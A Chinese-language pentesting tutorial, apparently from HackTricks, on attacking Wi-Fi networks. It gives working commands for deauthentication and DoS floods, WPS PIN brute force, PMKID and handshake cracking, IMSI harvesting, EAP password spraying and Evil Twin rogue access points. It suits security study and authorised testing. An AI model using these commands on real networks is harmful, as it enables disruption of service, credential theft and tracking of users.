Pentesting 无线网络

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

无线网络 基本命令

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

工具

Hijacker & NexMon (Android 内部 Wi-Fi)

Enable Nexmon Monitor And Injection On Android

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

使用 docker 运行 airgeddon

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

来自: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

它可以执行 Evil Twin、KARMA 和 Known Beacons 攻击,然后使用 phishing 模板来获取网络的真实密码或捕获社交网络的 credentials。

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

此工具可自动化 WPS/WEP/WPA-PSK 攻击。它会自动:

  • 将接口设置为 monitor mode
  • 扫描可能的网络 - 并让你选择受害者(s)
  • 如果 WEP - 启动 WEP 攻击
  • 如果 WPA-PSK
  • 如果 WPS: Pixie dust attack and the bruteforce attack (be careful the brute-force attack could take a long time). Notice that it doesn’t try null PIN or database/generated PINs.
  • 尝试从 AP 捕获 PMKID 以进行破解
  • 尝试对 AP 的客户端进行 deauthenticate 以捕获 handshake
  • 如果 PMKID 或 Handshake,尝试使用 top5000 密码进行 bruteforce。

攻击摘要

  • DoS
  • Deauthentication/disassociation – 断开所有人(或特定 ESSID/Client)
  • Random fake APs – 隐藏网络,可能使扫描器崩溃
  • Overload AP – 试图使 AP 死机(通常不是很有用)
  • WIDS – 与 IDS 互动
  • TKIP, EAPOL – 针对某些 AP 的特定 DoS 攻击
  • Cracking
  • Crack WEP(多种工具和方法)
  • WPA-PSK
  • WPS pin “Brute-Force”
  • WPA PMKID bruteforce
  • [DoS +] WPA handshake capture + Cracking
  • WPA-MGT
  • Username capture
  • Bruteforce Credentials
  • Evil Twin (with or without DoS)
  • Open Evil Twin [+ DoS] – 可用于捕获 captive portal creds 和/或 执行 LAN 攻击
  • WPA-PSK Evil Twin – 如果你知道密码,可用于网络攻击
  • WPA-MGT – 可用于捕获公司凭证
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open – 可用于捕获 captive portal creds 和/或 执行 LAN 攻击
  • + WPA – 可用于捕获 WPA handshakes

Open / OWE networks quick notes

  • Passive capture on open SSIDs still works with monitor mode and tcpdump:
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6
tcpdump -i wlan0 -w capture.pcap
  • OWE (Opportunistic Wireless Encryption) 对每个站点执行单独的密钥交换(no PSK),因此即便在 “open” SSIDs 上,空中帧也会被加密。Being WPA3-based,它还强制启用 802.11w PMF,阻止伪造的 deauth/disassoc 帧。
  • OWE 不对加入者进行认证:任何人都可以关联,所以要 verify client isolation,不要盲信厂商宣传。没有隔离时,本地 L2 上的 ARP spoofing 或 responder-style poisoning 仍然可行。
  • Evil Twin 仍可在 open/OWE SSIDs 上通过提供更强的信号实现;PMF 只是去除了 deauth 这一捷径。如果受害者接受伪造的 TLS cert,则可恢复完整的 HTTP(S) MitM。
  • 在 open guest Wi-Fi 上的广播投毒容易获得 creds/hashes(LLMNR/NBT-NS/mDNS)。See:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

DOS

Deauthentication Packets

描述来自 here:.

Deauthentication attacks,作为 Wi-Fi hacking 中一种常见的方法,涉及伪造 “management” 帧以 强制断开设备与网络的连接。这些未加密的数据包欺骗客户端,使其相信它们来自合法网络,从而使攻击者能够收集 WPA handshakes 以用于破解,或持续中断网络连接。该策略因其简单性而令人担忧,被广泛使用,对网络安全有重大影响。

Deauthentication using Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 表示 deauthentication
  • 1 表示要发送的 deauths 数量(如果愿意可以发送多个);0 表示持续发送
  • -a 00:14:6C:7E:40:80 表示 access point 的 MAC address
  • -c 00:0F:B5:34:30:30 表示要 deauthenticate 的 client 的 MAC address;如果省略则发送广播 deauthentication(并非总是有效)
  • ath0 是 interface 的名称

Disassociation Packets

Disassociation packets, 类似于 deauthentication packets,是用于 Wi-Fi 网络的一种 management frame。这些 packets 用于切断设备(例如笔记本或智能手机)与 access point (AP) 之间的连接。disassociation 与 deauthentication 的主要区别在于它们的使用场景。当 AP 发出 deauthentication packets 来明确地将 rogue devices 从网络中移除,而 disassociation packets 通常在 AP 关机、重启或搬迁时发送,因此需要断开所有已连接的节点。

此攻击可以通过 mdk4(mode “d”) 执行:

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

更多 DOS 攻击,由 mdk4 发起

here.

ATTACK MODE b: Beacon Flooding

发送 beacon frames 以在客户端显示假冒 APs。有时这会使 network scanners 甚至 drivers 崩溃!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: Authentication Denial-Of-Service

向所有在覆盖范围内可访问的 Access Points (APs) 发送 authentication frames 会使这些 APs 过载,尤其是在有大量 clients 时。如此强烈的流量可能导致系统不稳定,使部分 APs 冻结甚至重置。

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

ATTACK MODE p: SSID Probing and Bruteforcing

对 Access Points (APs) 的 Probing 用于检查 SSID 是否被正确显示并确认 AP 的覆盖范围。该技术结合 bruteforcing hidden SSIDs(有或无 wordlist)可以帮助识别并访问隐藏的网络。

ATTACK MODE m: Michael Countermeasures Exploitation

向不同的 QoS 队列发送随机或重复的数据包可能会在 TKIP APs 上触发 Michael Countermeasures,导致 AP 暂停运行一分钟。该方法是高效的 DoS(Denial of Service)攻击手段。

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

攻击模式 e: EAPOL Start 和 Logoff Packet Injection

向 AP 洪泛大量 EAPOL Start frames 会创建 伪造会话,压垮 AP 并阻止合法客户端。或者,注入 fake EAPOL Logoff messages 强制断开客户端连接,这两种方法都能有效中断网络服务。

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: 针对 IEEE 802.11s 网状网络的攻击

针对网状网络中链路管理和路由的各种攻击。

ATTACK MODE w: WIDS 混淆

将客户端交叉连接到多个 WDS 节点或伪造的 rogue APs,可误导入侵检测与防御系统,造成混淆并可能导致系统滥用。

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

ATTACK MODE f: Packet Fuzzer

A packet fuzzer featuring diverse packet sources and a comprehensive set of modifiers for packet manipulation.

Airggedon

Airgeddon 提供了前述大多数提到的攻击:

WPS

WPS (Wi-Fi Protected Setup) 简化了将设备连接到路由器的过程,提高了对使用 WPAWPA2 Personal 加密的网络的配置速度和便捷性。它对于易被攻破的 WEP 并不有效。WPS 使用一个 8 位数字的 PIN,分为两部分验证,因此由于组合数量有限(约 11,000 种可能),容易遭受 brute-force 攻击。

WPS Bruteforce

执行此操作主要有两种工具:Reaver 和 Bully。

  • Reaver 被设计为针对 WPS 的一个稳健且实用的攻击工具,已在多种接入点和 WPS 实现上得到测试。
  • Bully 是用 C 编写的 WPS brute force 攻击的 new implementation。与原始 reaver 代码相比,它有若干优点:依赖更少、内存和 CPU 性能更好、正确处理字节序(endianness),并且选项集更健全。

该攻击利用了 WPS PIN’s vulnerability,尤其是其暴露前四位数字且最后一位作为校验和的特性,从而简化了 brute-force 攻击。然而,针对 brute-force 的防御措施(例如 blocking MAC addresses 用于对付激进攻击者)要求进行 MAC address rotation 来继续攻击。

一旦使用 Bully 或 Reaver 等工具获取到 WPS PIN,攻击者即可推断出 WPA/WPA2 PSK,从而确保 persistent network access

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Smart Brute Force

这种改良的方法针对已知漏洞对 WPS PINs 进行攻击:

  1. 预先发现的 PINs:利用一个包含已知 PINs 的数据库,这些 PINs 与某些厂商相关,这些厂商通常使用统一的 WPS PINs。该数据库将 MAC-addresses 的前三个八位字节与这些厂商可能使用的 PINs 关联起来。
  2. PIN 生成算法:利用像 ComputePIN 和 EasyBox 这样的算法,它们根据 AP 的 MAC-address 计算 WPS PINs。Arcadyan 算法还需要一个 device ID,为 PIN 生成过程增加了一层复杂性。

WPS Pixie Dust attack

Dominique Bongard 发现了一些 Access Points (APs) 在生成称为 nonces (E-S1E-S2) 的秘密码时存在缺陷。如果这些 nonces 能被推算出来,破解 AP 的 WPS PIN 就变得很容易。AP 会在一个特殊的码 (hash) 中暴露 PIN,以证明它是合法的,而不是伪造的 (rogue) AP。这些 nonces 本质上就是打开存放 WPS PIN 的“保险箱”的“钥匙”。更多信息见 这里.

简单来说,这个问题在于某些 APs 在连接过程中用于加密 PIN 的密钥随机性不足。这使得 PIN 易于从网络外被猜测(offline brute force attack)。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

如果你不想将设备切换到 monitor mode,或者 reaverbully 出现问题,可以尝试 OneShot-C。该工具可以在不切换到 monitor mode 的情况下执行 Pixie Dust attack。

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin attack

一些设计不良的系统甚至允许 Null PIN(一个空的或不存在的 PIN)授予访问权限,这相当不寻常。工具 Reaver 能够测试这种漏洞,而 Bully 则不能。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

所有提出的 WPS 攻击都可以使用 airgeddon. 轻松执行。

  • 5 和 6 允许你尝试 你的自定义 PIN(如果有的话)
  • 7 和 8 执行 Pixie Dust attack
  • 13 允许你测试 NULL PIN
  • 11 和 12 将 从可用数据库重新收集与所选 AP 相关的 PIN生成 可能的 PINs,使用:ComputePIN、EasyBox,和可选的 Arcadyan(推荐,何乐而不为?)
  • 9 和 10 将测试 所有可能的 PIN

WEP

为什么它会被攻破

  • RC4 seed 只是 IV (24 bits) + shared key。IV 是明文,范围小(2^24),并且很快重复,所以使用相同 IV 的密文会重用 keystream。
  • XORing 两个使用相同 keystream 的密文会 leaks PlaintextA ⊕ PlaintextB;可预测的报头 + RC4 KSA 偏差(FMS)让你“投票”出密钥字节。PTW 使用 ARP 流量对其进行优化,将所需数据包从百万级降至数万级。
  • 完整性仅为 CRC32(线性/无密钥),因此攻击者可以翻转比特并在不需要密钥的情况下重新计算 CRC32 → packet forgery/replay/ARP injection,同时等待 IV。

实际破解是确定性的:

airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon  # collect IVs
# optionally speed up IVs without deauth by replaying ARP
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
aircrack-ng wep_capture-01.cap  # PTW attack recovers key once IV threshold is met

Airgeddon still ships an “All-in-One” WEP workflow if you prefer a guided UI。



WPA/WPA2 PSK

PMKID

In 2018, hashcat revealed a new attack method, unique because it only needs 一个数据包 and doesn’t require any clients to be connected to the target AP—just interaction between the attacker and the AP。

Many modern routers add an optional field to the first EAPOL frame during association, known as Robust Security Network. This includes the PMKID.

As the original post explains, the PMKID is created using known data:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

鉴于“PMK Name”是恒定的,且我们知道 AP 和 station 的 BSSID,并且 PMK 与完整 4-way handshake 中的一致,hashcat 可以利用这些信息破解 PSK 并恢复 passphrase!

收集这些信息并在本地bruteforce该密码,你可以做:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

PMKIDs 已捕获 将显示在 console 中,并且也 已保存 在 _ /tmp/attack.pcap_
现在,将该捕获转换为 hashcat/john 格式并破解它:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

请注意,正确的 hash 格式包含 4 个部分,例如:4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838。如果你的 包含 3 个部分,那么它是 无效(PMKID capture wasn’t valid)。

注意 hcxdumptool also capture handshakes(会出现类似这样的输出:MP:M1M2 RC:63258 EAPOLTIME:17091)。你可以使用 cap2hccapx 将这些 handshakes 转换hashcat/john 格式。

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

我注意到用这个工具捕获的某些 handshakes 即使知道正确的 password 也无法被 cracked。我建议在可能的情况下也通过传统方式捕获 handshakes,或者使用此工具多捕获几个。

Handshake capture

WPA/WPA2 网络的攻击可以通过捕获 handshake 并尝试 crack 密码 offline 来执行。该过程涉及在特定 channel 上监控特定网络与 BSSID 的通信。下面是简化的指南:

  1. 识别目标网络的 BSSIDchannel 和一个 connected client
  2. 使用 airodump-ng 在指定的 channel 和 BSSID 上监控网络流量,尝试捕获 handshake。命令如下:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. 为了增加捕获 handshake 的机会,短暂断开客户端的网络连接以强制重新认证。可以使用 aireplay-ng 命令来完成此操作,该命令向客户端发送 deauthentication 数据包:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network.

一旦在 airodump-ng 中出现了 handshake 信息,这表示 handshake 已被捕获,你可以停止监听:

一旦 handshake 被捕获,你可以使用 aircrack-ng crack 它:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

检查文件中是否存在 handshake

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

如果该工具在已完成的 handshake 之前先发现某个 ESSID 的未完成 handshake,它将不会检测到有效的那个。

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

通过 wpa_supplicant ctrl socket 更快速地在线猜测 PSK(无客户端/PMKID)

当没有客户端在场且 AP 拒绝 PMKID 时,你可以在不重新启动 supplicants 的情况下在线迭代 PSKs:

  • 修改 wpa_supplicant.c,在认证失败的退避逻辑(靠近 ssid->auth_failures)中强制设置 dur = 0;,从而有效地禁用临时禁用计时器。
  • 以带有 control socket 的单个 daemon 运行:
# wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1

wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
  • 通过控制界面驱动它,复用相同的 scan 和 network:
ADD_NETWORK
SET_NETWORK 0 ssid "<ssid>"
ENABLE_NETWORK 0
SCAN
(loop)
SET_NETWORK 0 psk "<candidate>"
REASSOCIATE
wait for CTRL-EVENT-CONNECTED / DISCONNECTED

一个小的 Python 循环读取 socket 事件(CTRL-EVENT-CONNECTED / CTRL-EVENT-DISCONNECTED)可以在没有扫描开销的情况下在约 5 分钟内测试 ~100 个猜测。它仍然会产生噪声并可能被检测到,但避免了每次尝试重启进程和回退延迟。

WPA Enterprise (MGT)

enterprise WiFi 部署中,你会遇到多种认证方法,每种提供不同的安全级别和管理功能。当你使用像 airodump-ng 这样的工具检查网络流量时,可能会看到这些认证类型的标识。一些常见的方法包括:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • 这种方法在 EAP-PEAP 中支持硬件令牌和一次性密码。与 MSCHAPv2 不同,它不使用对等挑战,并将密码以明文发送到接入点,从而存在降级攻击的风险。
  1. EAP-MD5 (Message Digest 5):
  • 涉及客户端发送密码的 MD5 散列。由于易受字典攻击、缺乏服务器认证以及无法生成基于会话的 WEP 密钥,不推荐使用。
  1. EAP-TLS (Transport Layer Security):
  • 使用客户端和服务器端证书进行认证,并可以动态生成基于用户和基于会话的 WEP 密钥以保护通信。
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • 通过加密隧道提供双方认证,并提供一种派生动态的、按用户和按会话的 WEP 密钥的方法。它只需要服务器端证书,客户端使用凭据。
  1. PEAP (Protected Extensible Authentication Protocol):
  • 通过创建 TLS 隧道实现受保护的通信,功能类似于 EAP。由于隧道提供的保护,它允许在 EAP 之上使用较弱的认证协议。
  • PEAP-MSCHAPv2: 通常称为 PEAP,它将易受攻击的 MSCHAPv2 挑战/响应机制与保护性的 TLS 隧道结合在一起。
  • PEAP-EAP-TLS (or PEAP-TLS): 与 EAP-TLS 类似,但在交换证书之前先建立 TLS 隧道,提供额外的安全层。

You can find more information about these authentication methods here and here.

Username Capture

阅读 https://tools.ietf.org/html/rfc3748#page-27 后,看来如果使用 EAP“Identity” 消息必须被支持,并且 用户名 会以 明文 出现在 “Response Identity” 消息中。

即便使用最安全的认证方法之一:PEAP-EAP-TLS,仍然可能 捕获 EAP 协议中发送的用户名。为此,捕获一次认证通信(在某个信道内启动 airodump-ng,并在同一接口上运行 wireshark)并按 eapol 过滤数据包。
在 “Response, Identity” 数据包内,客户端的 用户名 将会出现。

Anonymous Identities

Identity hiding 由 EAP-PEAP 和 EAP-TTLS 都支持。在 WiFi 网络的上下文中,EAP-Identity 请求通常由接入点 (AP) 在关联过程中发起。为保护用户匿名性,用户设备上的 EAP 客户端的响应只包含初始 RADIUS 服务器处理该请求所需的必要信息。该概念通过以下场景说明:

  • EAP-Identity = anonymous
  • 在这种情况下,所有用户都使用化名 “anonymous” 作为其用户标识。初始 RADIUS 服务器作为 EAP-PEAP 或 EAP-TTLS 服务器,负责管理 PEAP 或 TTLS 协议的服务器端。内部(受保护的)认证方法随后要么在本地处理,要么委托给远程 (home) RADIUS 服务器。
  • EAP-Identity = anonymous@realm_x
  • 在这种情况下,不同 realm 的用户隐藏了自己的真实身份,同时表明了各自的 realm。这允许初始 RADIUS 服务器将 EAP-PEAP 或 EAP-TTLS 请求代理到其 home realm 中的 RADIUS 服务器,这些服务器充当 PEAP 或 TTLS 服务器。初始 RADIUS 服务器仅作为 RADIUS 中继节点运行。
  • 或者,初始 RADIUS 服务器也可以作为 EAP-PEAP 或 EAP-TTLS 服务器运行,并要么处理受保护的认证方法,要么将其转发到另一个服务器。此选项便于为不同的 realm 配置不同的策略。

在 EAP-PEAP 中,一旦在 PEAP 服务器和 PEAP 客户端之间建立了 TLS 隧道,PEAP 服务器将发起一个 EAP-Identity 请求并将其通过 TLS 隧道传输。客户端对这个第二个 EAP-Identity 请求的响应会通过加密隧道发送包含用户真实身份的 EAP-Identity 响应。这种方法有效地防止了任何监听 802.11 流量的人获知用户的真实身份。

EAP-TTLS 的流程略有不同。使用 EAP-TTLS 时,客户端通常使用 PAP 或 CHAP 进行认证,并由 TLS 隧道保护。在这种情况下,客户端在隧道建立后发送的初始 TLS 消息中包含 User-Name 属性以及 Password 或 CHAP-Password 属性之一。

无论选择哪种协议,PEAP/TTLS 服务器在建立 TLS 隧道后都会获知用户的真实身份。真实身份可以表示为 user@realm 或仅为 user。如果 PEAP/TTLS 服务器也负责对用户进行认证,它现在拥有用户的身份并继续使用由 TLS 隧道保护的认证方法。或者,PEAP/TTLS 服务器可以将一个新的 RADIUS 请求转发到用户的 home RADIUS 服务器。这个新的 RADIUS 请求省略了 PEAP 或 TTLS 协议层。如果受保护的认证方法是 EAP,则内部 EAP 消息会在没有 EAP-PEAP 或 EAP-TTLS 包装的情况下传输到 home RADIUS 服务器。传出的 RADIUS 消息的 User-Name 属性包含用户的真实身份,替换了传入 RADIUS 请求中的匿名 User-Name。当受保护的认证方法是 PAP 或 CHAP(仅由 TTLS 支持)时,从 TLS 有效载荷中提取的 User-Name 及其他认证属性会被替换到传出的 RADIUS 消息中,取代传入 RADIUS 请求中的匿名 User-Name 和 TTLS EAP-Message 属性。

For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm

SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)

使用 EAP‑SIM/EAP‑AKA 在 802.1X 上进行基于 SIM 的 Wi‑Fi 认证时,如果部署未实现伪名/受保护身份或在内部 EAP 周围没有 TLS 隧道,可能会在未认证的身份阶段以明文泄露永久用户标识符 (IMSI)。

泄露发生的位置(高层):

  • 802.11 完成与 SSID 的关联(通常是运营商卸载 SSID,如 FreeWifi_secure、类似 eduroam 的运营商 realm 等)。
  • Authenticator 发送 EAP-Request/Identity。
  • 易受影响的客户端会在任何保护之前以其永久身份(即以 3GPP NAI 编码的 IMSI)响应 EAP-Response/Identity。
  • 示例 NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
  • 任何被动监听 RF 的人都可以读取该帧。无需 4-way handshake 或 TLS 密钥协商。

Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy

Click to expand ```bash # 1) Enable monitor mode airmon-ng start wlan0

2) Optional: lock channel to the target BSS

airodump-ng wlan0mon –essid

3) Capture 802.1X/EAP frames

Wireshark display filters:

eap || eapol

(identity specifically): eap.code == 2 && eap.type == 1

Kismet: add source wlan0mon; enable 802.1X/EAP views

tcpdump (pcap capture):

tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap

4) Wait for a device to auto-connect to the SSID

5) Inspect the first EAP-Response/Identity frame

Expected: ASCII NAI containing IMSI, e.g.

20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org

</details>

注意:
- Works before any TLS tunnel if the deployment uses bare EAP‑SIM/AKA without protected identity/pseudonyms.
- The exposed value is a permanent identifier tied to the subscriber’s SIM; harvesting enables long‑term tracking and downstream telecom abuses.

影响
- 隐私:在公共场所通过被动 Wi‑Fi 抓包实现对用户/设备的持久追踪。
- 电信滥用引导:有了 IMSI,拥有 SS7/Diameter 访问权限的攻击者可以查询位置信息或尝试拦截通话/SMS 并窃取 MFA。

缓解措施 / 检查要点
- 验证客户端是否按 3GPP 指导使用匿名外部身份(化名)用于 EAP‑SIM/AKA(例如 3GPP TS 33.402)。
- 优先将身份阶段进行隧道传输(例如 EAP‑TTLS/PEAP 携带内部 EAP‑SIM/AKA),以确保 IMSI 不以明文发送。
- 关联/认证的抓包不应在 EAP-Response/Identity 中暴露原始 IMSI。

Related: Telecom signalling exploitation with captured mobile identifiers
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>

### EAP-Bruteforce (password spray)

If the client is expected to use a **username and password** (notice that **EAP-TLS won't be valid** in this case), then you could try to get a **list** a **usernames** (see next part) and **passwords** and try to **bruteforce** the access using [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

你也可以使用 eaphammer 进行此攻击:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

客户端攻击理论

网络选择与漫游

  • 802.11 协议定义了 station 如何加入 Extended Service Set (ESS),但并未规定在 ESS 内选择 AP 的标准。
  • Stations 可以在共享相同 ESSID 的 AP 之间漫游,从而在建筑或区域内保持连接。
  • 协议要求 station 向 ESS 进行认证,但不强制要求 AP 向 station 进行认证。

首选网络列表 (PNLs)

  • Stations 在其 Preferred Network List (PNL) 中存储每个已连接无线网络的 ESSID 以及网络特定的配置细节。
  • PNL 用于自动连接已知网络,通过简化连接流程来改善用户体验。

被动扫描

  • APs 定期广播 beacon frames,宣布其存在和功能,包括 AP 的 ESSID(如果未禁用广播)。
  • 在被动扫描期间,stations 监听 beacon frames。如果某个 beacon 的 ESSID 与 station 的 PNL 中的条目匹配,station 可能会自动连接到该 AP。
  • 知悉设备的 PNL 可被利用,通过伪装成已知网络的 ESSID 来欺骗设备连接到 rogue AP。

主动探测

  • Active probing 涉及 stations 发送 probe requests 以发现附近的 AP 及其特性。
  • 定向的 probe requests 针对特定 ESSID,有助于检测特定网络是否在范围内,即使该网络是隐藏的。
  • 广播式 probe requests 的 SSID 字段为空,并发送给所有附近的 AP,使 station 能检查是否存在任何首选网络,而不暴露其 PNL 内容。

Simple AP with redirection to Internet

在解释如何执行更复杂的攻击之前,先说明如何仅仅创建一个AP重定向流量到连接到Internet的接口。

使用 ifconfig -a 检查用于创建 AP 的 wlan 接口和连接到 Internet 的接口是否可用。

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

创建配置文件 /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

然后 set IPsroutes:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

然后 启动 dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

创建配置文件 hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

停止烦人的进程,设置 monitor mode,并 启动 hostapd

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

转发与重定向

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Evil Twin 攻击利用了 WiFi client 识别网络的方式,主要依赖网络名称 (ESSID),而无需 base station (access point) 向 client 进行认证。要点包括:

  • 区分难度:Devices 很难区分合法与 rogue access points,当它们共享相同的 ESSID 和加密类型时。实际网络通常使用多个具有相同 ESSID 的 access points 来无缝扩展覆盖范围。
  • Client 漫游与连接操控:802.11 协议允许设备在相同 ESS 内在各个 access points 之间漫游。攻击者可以利用这一点,通过诱使设备断开与当前 base station 的连接并连接到 rogue access point。实现方式包括提供更强的信号,或通过诸如 deauthentication packets 或 jamming 的方法干扰与合法 access point 的连接。
  • 执行挑战:在存在多个、布局良好的 access points 的环境中,成功实施 evil twin 攻击可能很困难。对单个合法 access point 进行 deauthentication 通常会导致设备连接到另一个合法 access point,除非攻击者能够对附近所有 access points 都执行 deauthentication,或策略性地放置 rogue access point。

你可以通过以下方式创建一个非常基础的 Open Evil Twin(无法将流量路由到 Internet):

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

你也可以使用 eaphammer 创建一个 Evil Twin (注意:要用 eaphammer 创建 evil twins,接口 不应处于 monitor 模式):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

或者使用 Airgeddon:Options: 5,6,7,8,9 (inside Evil Twin attack menu).

